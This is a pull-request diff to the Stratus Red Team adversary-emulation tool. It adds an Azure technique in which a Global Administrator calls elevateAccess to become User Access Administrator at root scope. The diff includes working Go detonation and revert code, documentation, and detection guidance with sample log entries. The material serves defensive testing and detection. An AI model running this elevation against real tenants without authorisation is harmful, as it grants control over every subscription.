Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
---
title: Elevate to User Access Administrator at Root Scope
---

# Elevate to User Access Administrator at Root Scope




Platform: Azure

## Mappings

- MITRE ATT&CK
- Privilege Escalation



## Description


Elevates the current principal to the User Access Administrator role at root scope (/),
by abusing the "Access management for Azure resources" capability available to Global Administrators in Entra ID.

This technique allows a Global Administrator to gain control over all Azure subscriptions and management groups
in the tenant, enabling arbitrary role assignments across all Azure resources.

<span style="font-variant: small-caps;">Warm-up</span>: None

<span style="font-variant: small-caps;">Detonation</span>:

- Call the <code>elevateAccess</code> REST API endpoint, which assigns the User Access Administrator role at root scope (/) to the current principal

Revert:

- Remove the User Access Administrator role assignment at root scope (/)
If you are getting a 403 error when attempting to revert, you may need to refresh your credentials with <code>az login</code>

References:

- https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin
- https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT402/AZT402/
- https://www.invictus-ir.com/nieuws/the-azure-log-you-probably-didnt-know-existed
- https://permiso.io/blog/azures-apex-permissions-elevate-access-the-logs-security-teams-overlook


## Instructions

```bash title="Detonate with Stratus Red Team"
stratus detonate azure.privilege-escalation.root-user-access-administrator
```
## Detection


Identify when the <code>elevateAccess</code> action is called through either the Entra ID Audit Logs or the Azure Activity Log.

Sample Entra ID Audit Log entry:

``` json hl_lines="2 5"
{
"operationName": "User has elevated their access to User Access Administrator for their Azure Resources",
"category": "AuditLogs",
"properties": {
"category": "AzureRBACRoleManagementElevateAccess",
"activityDisplayName": "User has elevated their access to User Access Administrator for their Azure Resources",
"loggedByService": "Azure RBAC (Elevated Access)",
"result": "success",
"initiatedBy": {
"user": {
"id": "00000000-0000-0000-0000-000000000000",
"userPrincipalName": "user@example.com",
"ipAddress": "1.2.3.4"
}
}
}
}

```

Sample Azure Activity Log entry:

``` json hl_lines="3 8"
{
"authorization": {
"action": "Microsoft.Authorization/elevateAccess/action",
"scope": "/providers/Microsoft.Authorization"
},
"caller": "user@example.com",
"operationName": {
"value": "Microsoft.Authorization/elevateAccess/action",
"localizedValue": "Assigns the caller to User Access Administrator role"
},
"properties": {
"statusCode": "OK",
"eventCategory": "Administrative",
"entity": "/providers/Microsoft.Authorization",
"message": "Microsoft.Authorization/elevateAccess/action",
}
"status": {
"value": "Succeeded"
}
}
```


5 changes: 5 additions & 0 deletions docs/attack-techniques/azure/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,11 @@ Note that some Stratus attack techniques may correspond to more than a single AT
- [Create Azure VM Bastion shareable link](./azure.persistence.create-bastion-shareable-link.md)


## Privilege Escalation

- [Elevate to User Access Administrator at Root Scope](./azure.privilege-escalation.root-user-access-administrator.md)


## Exfiltration

- [Export Disk Through SAS URL](./azure.exfiltration.disk-export.md)
Expand Down
1 change: 1 addition & 0 deletions docs/attack-techniques/list.md
Original file line number Diff line number Diff line change
Expand Up @@ -61,6 +61,7 @@ This page contains the list of all Stratus Attack Techniques.
| [Azure ransomware via Storage Account Blob deletion](./azure/azure.impact.blob-ransomware-individual-file-deletion.md) | [Azure](./azure/index.md) | Impact |
| [Delete Azure resource lock](./azure/azure.impact.resource-lock.md) | [Azure](./azure/index.md) | Impact |
| [Create Azure VM Bastion shareable link](./azure/azure.persistence.create-bastion-shareable-link.md) | [Azure](./azure/index.md) | Persistence |
| [Elevate to User Access Administrator at Root Scope](./azure/azure.privilege-escalation.root-user-access-administrator.md) | [Azure](./azure/index.md) | Privilege Escalation |
| [Create Admin EKS Access Entry](./EKS/eks.lateral-movement.create-access-entry.md) | [EKS](./EKS/index.md) | Lateral Movement |
| [Backdoor aws-auth EKS ConfigMap](./EKS/eks.persistence.backdoor-aws-auth-configmap.md) | [EKS](./EKS/index.md) | Persistence, Privilege Escalation |
| [Backdoor Entra ID application through service principal](./entra-id/entra-id.persistence.backdoor-application-sp.md) | [Entra ID](./entra-id/index.md) | Persistence, Privilege Escalation |
Expand Down
8 changes: 4 additions & 4 deletions docs/attack-techniques/mitre-attack-coverage-matrices.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,11 +43,11 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently
</div>
<h2>Azure</h2>
<div class="table-container"><table>
<thead><tr><th>Execution</th><th>Persistence</th><th>Exfiltration</th><th>Impact</th></tr></thead>
<thead><tr><th>Execution</th><th>Persistence</th><th>Privilege Escalation</th><th>Exfiltration</th><th>Impact</th></tr></thead>
<tbody>
<tr><td><a href="../Azure/azure.execution.vm-custom-script-extension">Execute Command on Virtual Machine using Custom Script Extension</a></td><td><a href="../Azure/azure.persistence.create-bastion-shareable-link">Create Azure VM Bastion shareable link</a></td><td><a href="../Azure/azure.exfiltration.disk-export">Export Disk Through SAS URL</a></td><td><a href="../Azure/azure.impact.blob-ransomware-client-encryption-scope">Azure Blob Storage ransomware through Encryption Scope using client-managed Key Vault key</a></td></tr>
<tr><td><a href="../Azure/azure.execution.vm-run-command">Execute Commands on Virtual Machine using Run Command</a></td><td></td><td><a href="../Azure/azure.exfiltration.storage-public-access">Exfiltrate Azure Storage via public access</a></td><td><a href="../Azure/azure.impact.blob-ransomware-individual-file-deletion">Azure ransomware via Storage Account Blob deletion</a></td></tr>
<tr><td></td><td></td><td><a href="../Azure/azure.exfiltration.storage-sas-export">Exfiltrate Azure Storage through SAS URL</a></td><td><a href="../Azure/azure.impact.resource-lock">Delete Azure resource lock</a></td></tr>
<tr><td><a href="../Azure/azure.execution.vm-custom-script-extension">Execute Command on Virtual Machine using Custom Script Extension</a></td><td><a href="../Azure/azure.persistence.create-bastion-shareable-link">Create Azure VM Bastion shareable link</a></td><td><a href="../Azure/azure.privilege-escalation.root-user-access-administrator">Elevate to User Access Administrator at Root Scope</a></td><td><a href="../Azure/azure.exfiltration.disk-export">Export Disk Through SAS URL</a></td><td><a href="../Azure/azure.impact.blob-ransomware-client-encryption-scope">Azure Blob Storage ransomware through Encryption Scope using client-managed Key Vault key</a></td></tr>
<tr><td><a href="../Azure/azure.execution.vm-run-command">Execute Commands on Virtual Machine using Run Command</a></td><td></td><td></td><td><a href="../Azure/azure.exfiltration.storage-public-access">Exfiltrate Azure Storage via public access</a></td><td><a href="../Azure/azure.impact.blob-ransomware-individual-file-deletion">Azure ransomware via Storage Account Blob deletion</a></td></tr>
<tr><td></td><td></td><td></td><td><a href="../Azure/azure.exfiltration.storage-sas-export">Exfiltrate Azure Storage through SAS URL</a></td><td><a href="../Azure/azure.impact.resource-lock">Delete Azure resource lock</a></td></tr>
</tbody>
</table>
</div>
Expand Down
8 changes: 8 additions & 0 deletions docs/index.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -746,6 +746,14 @@ Azure:
- Persistence
platform: Azure
isIdempotent: false
Privilege Escalation:
- id: azure.privilege-escalation.root-user-access-administrator
name: Elevate to User Access Administrator at Root Scope
isSlow: false
mitreAttackTactics:
- Privilege Escalation
platform: Azure
isIdempotent: false
Entra ID:
Persistence:
- id: entra-id.persistence.backdoor-application-sp
Expand Down
1 change: 1 addition & 0 deletions v2/go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,7 @@ require (
cloud.google.com/go/compute/metadata v0.6.0 // indirect
cloud.google.com/go/iam v1.3.1 // indirect
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 // indirect
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0 // indirect
github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0 // indirect
github.com/AzureAD/microsoft-authentication-library-for-go v1.6.0 // indirect
github.com/ProtonMail/go-crypto v1.1.0-alpha.2 // indirect
Expand Down
2 changes: 2 additions & 0 deletions v2/go.sum
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,8 @@ github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2 h1:yz1bePFlP5Vws5+
github.com/Azure/azure-sdk-for-go/sdk/azidentity/cache v0.3.2/go.mod h1:Pa9ZNPuoNu/GztvBSKk9J1cDJW6vk/n0zLtV4mgd8N8=
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 h1:9iefClla7iYpfYWdzPCRDozdmndjTm8DXdpCzPajMgA=
github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2/go.mod h1:XtLgD3ZD34DAaVIIAyG3objl5DynM3CQ/vMcbBNJZGI=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0 h1:Hp+EScFOu9HeCbeW8WU2yQPJd4gGwhMgKxWe+G6jNzw=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2 v2.2.0/go.mod h1:/pz8dyNQe+Ey3yBp/XuYz7oqX8YDNWVpPB0hH3XWfbc=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute/v4 v4.2.1 h1:UPeCRD+XY7QlaGQte2EVI2iOcWvUYA2XY8w5T/8v0NQ=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute/v4 v4.2.1/go.mod h1:oGV6NlB0cvi1ZbYRR2UN44QHxWFyGk+iylgD0qaMXjA=
github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/internal v1.1.2 h1:mLY+pNLjCUeKhgnAJWAKhEUQM+RJQo2H1fuGSw1Ky1E=
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,224 @@
package azure

import (
"context"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"log"
"strings"

"github.com/Azure/azure-sdk-for-go/sdk/azcore"
"github.com/Azure/azure-sdk-for-go/sdk/azcore/policy"
"github.com/Azure/azure-sdk-for-go/sdk/azcore/to"
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/authorization/armauthorization/v2"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
)

// Built-in User Access Administrator role definition ID (constant across all tenants)
const userAccessAdminRoleDefinitionID = "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9"

func init() {
const codeBlock = "```"
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "azure.privilege-escalation.root-user-access-administrator",
FriendlyName: "Elevate to User Access Administrator at Root Scope",
Platform: stratus.Azure,
MitreAttackTactics: []mitreattack.Tactic{
mitreattack.PrivilegeEscalation,
},
Description: `
Elevates the current principal to the User Access Administrator role at root scope (/),
by abusing the "Access management for Azure resources" capability available to Global Administrators in Entra ID.

This technique allows a Global Administrator to gain control over all Azure subscriptions and management groups
in the tenant, enabling arbitrary role assignments across all Azure resources.

Warm-up: None

Detonation:

- Call the <code>elevateAccess</code> REST API endpoint, which assigns the User Access Administrator role at root scope (/) to the current principal

Revert:

- Remove the User Access Administrator role assignment at root scope (/)
If you are getting a 403 error when attempting to revert, you may need to refresh your credentials with <code>az login</code>

References:

- https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin
- https://microsoft.github.io/Azure-Threat-Research-Matrix/PrivilegeEscalation/AZT402/AZT402/
- https://www.invictus-ir.com/nieuws/the-azure-log-you-probably-didnt-know-existed
- https://permiso.io/blog/azures-apex-permissions-elevate-access-the-logs-security-teams-overlook
`,
Detection: `
Identify when the <code>elevateAccess</code> action is called through either the Entra ID Audit Logs or the Azure Activity Log.

Sample Entra ID Audit Log entry:

` + codeBlock + ` json hl_lines="2 5"
{
"operationName": "User has elevated their access to User Access Administrator for their Azure Resources",
"category": "AuditLogs",
"properties": {
"category": "AzureRBACRoleManagementElevateAccess",
"activityDisplayName": "User has elevated their access to User Access Administrator for their Azure Resources",
"loggedByService": "Azure RBAC (Elevated Access)",
"result": "success",
"initiatedBy": {
"user": {
"id": "00000000-0000-0000-0000-000000000000",
"userPrincipalName": "user@example.com",
"ipAddress": "1.2.3.4"
}
}
}
}

` + codeBlock + `

Sample Azure Activity Log entry:

` + codeBlock + ` json hl_lines="3 8"
{
"authorization": {
"action": "Microsoft.Authorization/elevateAccess/action",
"scope": "/providers/Microsoft.Authorization"
},
"caller": "user@example.com",
"operationName": {
"value": "Microsoft.Authorization/elevateAccess/action",
"localizedValue": "Assigns the caller to User Access Administrator role"
},
"properties": {
"statusCode": "OK",
"eventCategory": "Administrative",
"entity": "/providers/Microsoft.Authorization",
"message": "Microsoft.Authorization/elevateAccess/action",
}
"status": {
"value": "Succeeded"
}
}
` + codeBlock + `
`,
IsIdempotent: false,
Detonate: detonate,
Revert: revert,
})
}

func detonate(_ map[string]string, providers stratus.CloudProviders) error {
ctx := context.Background()
cred := providers.Azure().GetCredentials()
clientOptions := providers.Azure().ClientOptions

globalAdminClient, err := armauthorization.NewGlobalAdministratorClient(cred, clientOptions)
if err != nil {
return fmt.Errorf("failed to create global administrator client: %w", err)
}

log.Println("Elevating access to User Access Administrator at root scope (/)")
_, err = globalAdminClient.ElevateAccess(ctx, nil)
if err != nil {
return fmt.Errorf("failed to call elevateAccess: %w", err)
}

log.Println("Successfully elevated access: User Access Administrator role assigned at root scope (/)")
return nil
}

func revert(_ map[string]string, providers stratus.CloudProviders) error {
ctx := context.Background()
cred := providers.Azure().GetCredentials()
clientOptions := providers.Azure().ClientOptions

// Get a management token to extract the current principal's object ID
token, err := cred.GetToken(ctx, policy.TokenRequestOptions{
Scopes: []string{"https://management.azure.com/.default"},
})
if err != nil {
return fmt.Errorf("failed to get access token: %w", err)
}
principalID, err := getOIDFromToken(token.Token)
if err != nil {
return fmt.Errorf("failed to extract principal object ID from access token: %w", err)
}
log.Println("Current principal object ID: " + principalID)

roleAssignmentsClient, err := armauthorization.NewRoleAssignmentsClient("", cred, clientOptions)
if err != nil {
return fmt.Errorf("failed to create role assignments client: %w", err)
}

// List all role assignments at root scope and filter by principal ID and role definition ID
log.Println("Listing role assignments at root scope (/) for principal " + principalID)
pager := roleAssignmentsClient.NewListForScopePager("/", &armauthorization.RoleAssignmentsClientListForScopeOptions{
Filter: to.Ptr("atScope()"),
})

for pager.More() {
page, err := pager.NextPage(ctx)
if err != nil {
return fmt.Errorf("failed to list role assignments at root scope: %w", err)
Comment thread
jbfeldman-dd marked this conversation as resolved.
}
for _, ra := range page.Value {
if *ra.Properties.PrincipalID != principalID {
continue
}
if !strings.HasSuffix(*ra.Properties.RoleDefinitionID, userAccessAdminRoleDefinitionID) {
continue
}
log.Println("Found User Access Administrator role assignment at root scope, deleting it")
_, err := roleAssignmentsClient.DeleteByID(ctx, *ra.ID, nil)
if err != nil {
var respErr *azcore.ResponseError
if errors.As(err, &respErr) && respErr.StatusCode == 403 {
return fmt.Errorf("failed to delete role assignment - got 403 Forbidden. Your token may no longer reflect the elevated role assignment. Run 'az login' to refresh your credentials and try again: %w", err)
}
return fmt.Errorf("failed to delete role assignment %s: %w", *ra.ID, err)
}
log.Println("Successfully removed User Access Administrator role assignment at root scope")
return nil
}
}

return fmt.Errorf("user access administrator role assignment at root scope not found")
}

func getOIDFromToken(tokenString string) (string, error) {
parts := strings.Split(tokenString, ".")
if len(parts) != 3 {
return "", fmt.Errorf("invalid JWT token format: expected 3 parts, got %d", len(parts))
}

// JWT uses base64url encoding without padding - add padding as needed
payload := parts[1]
switch len(payload) % 4 {
case 2:
payload += "=="
case 3:
payload += "="
}

decoded, err := base64.URLEncoding.DecodeString(payload)
if err != nil {
return "", fmt.Errorf("failed to decode JWT payload: %w", err)
}

var claims struct {
OID string `json:"oid"`
}
if err := json.Unmarshal(decoded, &claims); err != nil {
return "", fmt.Errorf("failed to parse JWT claims: %w", err)
}

if claims.OID == "" {
return "", fmt.Errorf("oid claim not found in JWT token")
}

return claims.OID, nil
}
Loading
Loading